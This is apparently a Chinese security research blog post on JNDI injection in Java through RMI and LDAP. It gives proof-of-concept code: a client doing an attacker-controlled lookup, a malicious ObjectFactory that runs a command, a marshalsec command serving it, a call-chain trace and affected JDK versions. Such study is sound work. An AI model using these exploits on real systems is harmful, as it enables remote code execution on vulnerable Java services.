@Author: Patrilic
@Time: 2020-3-15 16:41:55

0x00 JNDI

JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。

JNDI是一个API,允许客户端通过name发现和查找数据和对象。

1
2
3
4
5
6
// JndiName
String jndiName= ...;
// Initial
Context context = new InitialContext();
// lookup该name的数据
DataSource ds = (DataSourse)context.lookup(jndiName);

0x01 JNDI-RMI

JNDI注入就是如果我们可以任意控制jndiName的值,那么就可以通过加载JNDI,远程执行Class

RMI的工厂类: com.sun.jndi.rmi.registry.RegistryContextFactory
poc.java

1
2
3
4
5
6
7
8
9
10
11
12
package com.patrilic.jndipoc;
import javax.naming.Context;
import javax.naming.InitialContext;
public class poc {
public static void main(String[] args) throws Exception {

String uri = "rmi://127.0.0.1:1099/Exploit";
Context ctx = new InitialContext();
ctx.lookup(uri);

}
}

Exploit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
exec("xterm");
return null;
}

public static String exec(String cmd) {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
return "";
}

public static void main(String[] args) {
exec("123");
}
}

利用marshalsec起一个rmiServer

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001/\#Exploit

调用链
32b3b6b9a468d18fdcca883f96a4ccb1

javax/naming/InitialContext.java
137ab716e3170cda87bb1a02e86f4699

95081010ce99e4df47e36e42bdd897fa

com/sun/jndi/toolkit/url/GenericURLContext.class
607cf22fd764178219e5633d3e59148f

com/sun/jndi/rmi/registry/RegistryContext.class
d2b4b2f2faf09b2ce06fc10d4539c4f0

与registry通讯,获取RMI服务的IP。

8aa11b1b8c40eec91bdcbbed5a494f92

42720ae0c9153a7bb3eab271e128d0e8

直接进入到help.loadClass()
87bce328ebf0fa13b8037366c4ef1087

0x02 JNDI-LDAP

LDAP工厂类:com.sun.jndi.ldap.LdapCtxFactory
poc.java

1
2
3
4
5
6
7
8
9
10
11
12
package com.patrilic.jndipoc;
import javax.naming.Context;
import javax.naming.InitialContext;
public class poc {
public static void main(String[] args) throws Exception {

String uri = "ldap://127.0.0.1:1389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(uri);

}
}

52120be59855a8db14c257f25beb3d23

首先同样通过javax/naming/InitialContext.java#lookup
ad07da697b51c5e87ca3d8064b4895ee

ldap在com/sun/jndi/url/ldap/ldapURLContext.class中进行处理
1fa1f1b14a630beaeaccfdc99216d0f7

com/sun/jndi/toolkit/url/GenericURLContext.class
126e64ab851965efa7b676a457fccd7b

com/sun/jndi/ldap/LdapCtx.class
72af0a6022ea2a61b0136234c217f32d

最后覆盖类执行命令
javax/naming/spi/DirectoryManager.jave
f7e10059444f062b7247cd023beb22be

0x03 版本限制

  • RMI动态加载恶意类 : 7u21、6u45
  • JNDI - RMI : 6u132、7u122、8u113
  • JNDI - LDAP : 6u211、7u201、8u191、11.0.1

0x04 相关链接

https://xz.aliyun.com/t/6633
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://javasec.org/javase/JNDI/